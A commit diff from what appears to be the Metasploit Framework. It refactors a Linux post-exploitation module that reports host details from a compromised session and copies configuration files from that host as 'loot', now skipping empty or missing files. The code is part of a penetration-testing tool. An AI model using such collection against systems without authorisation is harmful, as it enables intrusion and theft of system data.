Land #11076, Prevent storing empty config files as loot
commit
7d8458d8d4
|
@ -27,32 +27,21 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
def run
|
||||
distro = get_sysinfo
|
||||
h = get_host
|
||||
print_status("Running module against #{h}")
|
||||
print_status("Info:")
|
||||
print_status("\t#{distro[:version]}")
|
||||
print_status("\t#{distro[:kernel]}")
|
||||
|
||||
vprint_status("Finding configuration files...")
|
||||
print_status "Running module against #{session.session_host} [#{get_hostname}]"
|
||||
print_status 'Info:'
|
||||
print_status "\t#{distro[:version]}"
|
||||
print_status "\t#{distro[:kernel]}"
|
||||
|
||||
vprint_status 'Finding configuration files...'
|
||||
find_configs
|
||||
end
|
||||
|
||||
def save(file, data, ctype="text/plain")
|
||||
ltype = "linux.enum.conf"
|
||||
def save(file, data, ctype='text/plain')
|
||||
ltype = 'linux.enum.conf'
|
||||
fname = ::File.basename(file)
|
||||
loot = store_loot(ltype, ctype, session, data, fname)
|
||||
print_good("#{fname} stored in #{loot.to_s}")
|
||||
end
|
||||
|
||||
def get_host
|
||||
case session.type
|
||||
when /meterpreter/
|
||||
host = sysinfo["Computer"]
|
||||
when /shell/
|
||||
host = cmd_exec("hostname").chomp
|
||||
end
|
||||
|
||||
return host
|
||||
print_good("#{fname} stored in #{loot}")
|
||||
end
|
||||
|
||||
def find_configs
|
||||
|
@ -70,8 +59,10 @@ class MetasploitModule < Msf::Post
|
|||
]
|
||||
|
||||
configs.each do |f|
|
||||
output = read_file("#{f}")
|
||||
save(f, output) if output && output !~ /No such file or directory/
|
||||
output = read_file(f).to_s
|
||||
next if output.strip.length == 0
|
||||
next if output =~ /No such file or directory/
|
||||
save(f, output)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue